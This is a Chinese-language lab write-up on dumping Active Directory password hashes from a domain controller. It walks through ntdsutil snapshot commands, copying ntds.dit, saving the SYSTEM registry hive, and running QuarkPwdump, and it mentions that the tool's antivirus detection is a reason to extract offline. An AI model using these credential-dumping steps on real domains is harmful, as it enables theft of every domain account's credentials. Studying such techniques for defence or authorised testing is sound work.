域控环境下获取域hash值

实验环境：win2012（域控），win2007（客户机）
目的：使用系统自带工具ntdsutil(win2008以上)导出ntds.dit，使用软件QuarkPwdump将它破解，得到域的hash值。
过程：cmd.exe输入ntdsutil进入交互式界面，输入snapshot，然后输入activate instance ntds，再输入create创建快照，输入mount+快照将快照挂载到c盘，quit退出，然后将快照里的ntds.dit复制出来，然后将快照取消挂载。
1.在cmd.exe输入ntdsutil进入交互式界面，输入snapshot，然后输入activate instance ntds，再输入create创建快照，输入mount+快照将快照挂载到c盘，quit退出。
2.将快照里的windows\ntds目录下的ntds.dit复制出来到c盘目录下
3.查看该文件
4.将快照卸载。

非交互式：使用cmd输入ntdsutil snapshot “activate instance ntds”create quit quit > 1.txt，将创建快照的结果放到1.txt文件里，然后使用ntdsutil snapshot “mount 快照”quit quit将快照挂载到c盘下，然后再导出该ntds.dit文件。
1.由于交互式过于在没进入到域控的情况下无法进行，这时候需要非交互式的，使用cmd输入ntdsutil snapshot “activate instance ntds”create quit quit > 1.txt
2.应该先使用type读取1.txt文件的内容获取快照名的，因为为是在域控下做的直接省略了，使用ntdsutil snapshot “mount 快照”quit quit将快照挂载到c盘下
3.同样的将快照里的ntds.dit文件导出
4.将快照卸载
上传QuarkPwdump.exe到c盘(方便不用加参数)，然后cmd输入QuarkPwdump.exe执行该软件弹出界面，输入QuarkPwdump.exe –dump-hash-domain –with-history –ntds-file ntds.dit就可以获取到域的hash值了。
由于QuarkPwdump.exe可能会造成报毒，只能内网提取，还有离线提取的方式，需要获取system.hiv文件，在cmd输入reg save hklm\system system.hiv就可以获取到了。
1.在cmd输入QuarkPwdump.exe执行该软件
2.弹出界面，输入QuarkPwdump.exe --dump-hash-domain --with-history --ntds-file ntds.dit就可以获取到域的hash值了
3.由于QuarkPwdump.exe可能会造成报毒，只能内网提取，还有离线提取的方式，需要获取system.hiv文件，在cmd输入reg save hklm\system system.hiv就可以获取到了。
4.使用QuarkPwdump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hiv获取域hash值。
5.由于在物理机实验的，环境不行，结果没出来，可以在虚拟机实验，我就不进行了。